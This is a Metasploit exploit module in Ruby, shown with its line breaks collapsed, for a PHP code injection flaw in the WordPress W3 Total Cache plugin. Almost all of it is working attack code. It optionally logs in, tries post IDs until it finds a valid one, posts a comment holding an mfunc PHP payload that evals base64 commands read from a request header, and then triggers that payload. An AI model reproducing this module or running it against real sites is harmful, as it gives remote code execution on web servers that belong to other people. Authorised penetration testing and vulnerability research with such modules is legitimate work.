WordPress Plugin W3 Total Cache – PHP Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress W3 Total Cache PHP Code Execution', 'Description' => %q{ This module exploits a PHP Code Injection vulnerability against Wordpress plugin W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older is also reported as vulnerable. The vulnerability is due to the handling of certain macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is needed in order to add the malicious comment. If the POSTID option isn't specified, then the module will automatically bruteforce one. Also, if anonymous comments aren't allowed, then a valid username and password must be provided. In addition, the "A comment is held for moderation" option on Wordpress must be unchecked for successful exploitation. This module has been tested against Wordpress 3.5 and W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'juan vazquez', # Metasploit module 'hdm', # Metasploit module 'Christian Mehlmauer' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '92652' ], [ 'BID', '59316' ], [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ], [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ ['Wordpress 3.5', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 17 2013' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]), OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) ], self.class) end def peer return "#{rhost}:#{rport}" end def require_auth? @user = datastore['USERNAME'] @password = datastore['PASSWORD'] if @user and @password and not @user.empty? and not @password.empty? return true else return false end end def get_session_cookie(header) header.split(";").each { |cookie| cookie.split(" ").each { |word| if word =~ /(.*logged_in.*)=(.*)/ return $1, $2 end } } return nil, nil end def login res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "wp-login.php"), 'method' => 'POST', 'vars_post' => { 'log' => @user, 'pwd' => @password } }) if res and res.code == 302 and res.headers['Set-Cookie'] return get_session_cookie(res.headers['Set-Cookie']) else return nil, nil end end def check_post_id(uri) options = { 'method' => 'GET', 'uri' => uri } options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth res = send_request_cgi(options) if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/ return true elsif res and (res.code == 301 or res.code == 302) and res.headers['Location'] location = URI(res.headers["Location"]) uri = location.path uri << "?#{location.query}" unless location.query.nil? or location.query.empty? return check_post_id(uri) end return false end def find_post_id (1..1000).each{|id| vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0 res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}") return id if res } return nil end def post_comment php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->" vars_post = { 'comment' => php_payload, 'submit' => 'Post+Comment', 'comment_post_ID' => "#{@post_id}", 'comment_parent' => "0" } vars_post.merge!({ 'author' => rand_text_alpha(8), 'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com", 'url' => rand_text_alpha(8), }) unless @auth options = { 'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"), 'method' => 'POST' } options.merge!({'vars_post' => vars_post}) options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth res = send_request_cgi(options) if res and res.code == 302 location = URI(res.headers["Location"]) uri = location.path uri << "?#{location.query}" unless location.query.nil? or location.query.empty? return uri else return nil end end def exploit @auth = require_auth? if @auth print_status("#{peer} - Trying to login...") @cookie_name, @cookie_value = login if @cookie_name.nil? or @cookie_value.nil? fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful") end else print_status("#{peer} - Trying unauthenticated exploitation...") end if datastore['POSTID'] and datastore['POSTID'] != 0 @post_id = datastore['POSTID'] print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") else print_status("#{peer} - Trying to brute force a valid POST ID...") @post_id = find_post_id if @post_id.nil? fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") else print_status("#{peer} - Using the brute forced POST ID #{@post_id}...") end end random_test = rand_text_alpha(64) @sum = Rex::Text.sha1(random_test) print_status("#{peer} - Injecting the PHP Code in a comment...") post_uri = post_comment if post_uri.nil? fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned") end print_status("#{peer} - Executing the payload...") options = { 'method' => 'GET', 'uri' => post_uri, 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded), 'Sum' => random_test } } options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth res = send_request_cgi(options) if res and res.code == 301 fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated") end end def check res = send_request_cgi ({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }) if res.nil? return Exploit::CheckCode::Unknown end if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/ version = $1 if version <= "0.9.2.8" return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end end |